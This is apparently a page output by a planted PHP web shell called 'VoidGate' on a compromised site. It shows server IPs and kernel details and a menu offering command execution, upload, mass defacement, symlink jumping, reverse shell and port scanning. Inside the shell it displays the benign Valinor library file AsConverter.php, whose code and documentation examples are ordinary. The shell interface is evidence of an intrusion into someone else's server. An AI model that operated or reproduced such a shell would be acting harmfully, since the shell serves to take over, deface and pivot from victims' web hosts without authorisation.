ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
vendor
/
cuyz
/
valinor
/
src
/
Mapper
/
Viewing: AsConverter.php
<?php declare(strict_types=1); namespace CuyZ\Valinor\Mapper; use Attribute; /** * This attribute can be used to automatically register a converter attribute. * * When there is no control over the transformer attribute class, the following * method can be used: @see \CuyZ\Valinor\MapperBuilder::registerConverter() * * ```php * namespace My\App; * * #[\CuyZ\Valinor\Mapper\AsConverter] * #[\Attribute(\Attribute::TARGET_PROPERTY)] * final class CastToBool * { * /** * * @param callable(mixed): bool $next * * / * public function map(string $value, callable $next): bool * { * $value = match ($value) { * 'yes', 'on' => true, * 'no', 'off' => false, * default => $value, * }; * * return $next($value); * } * } * * final class User * { * public string $name; * * #[\My\App\CastToBool] * public bool $isActive; * } * * $user = (new \CuyZ\Valinor\MapperBuilder()) * ->mapper() * ->map(User::class, [ * 'name' => 'John Doe', * 'isActive' => 'yes', * ]); * * $user->name === 'John Doe'; * $user->isActive === true; * ``` * * Attribute converters can also be used on function parameters when mapping * arguments: * * ```php * function someFunction(string $name, #[\My\App\CastToBool] bool $isActive) { * // … * }; * * $arguments = (new \CuyZ\Valinor\MapperBuilder()) * ->argumentsMapper() * ->mapArguments(someFunction(...), [ * 'name' => 'John Doe', * 'isActive' => 'yes', * ]); * * $arguments['name'] === 'John Doe'; * $arguments['isActive'] === true; * ``` * @api */ #[Attribute(Attribute::TARGET_CLASS)] final class AsConverter {}
Coded With 💗 by
0x6ick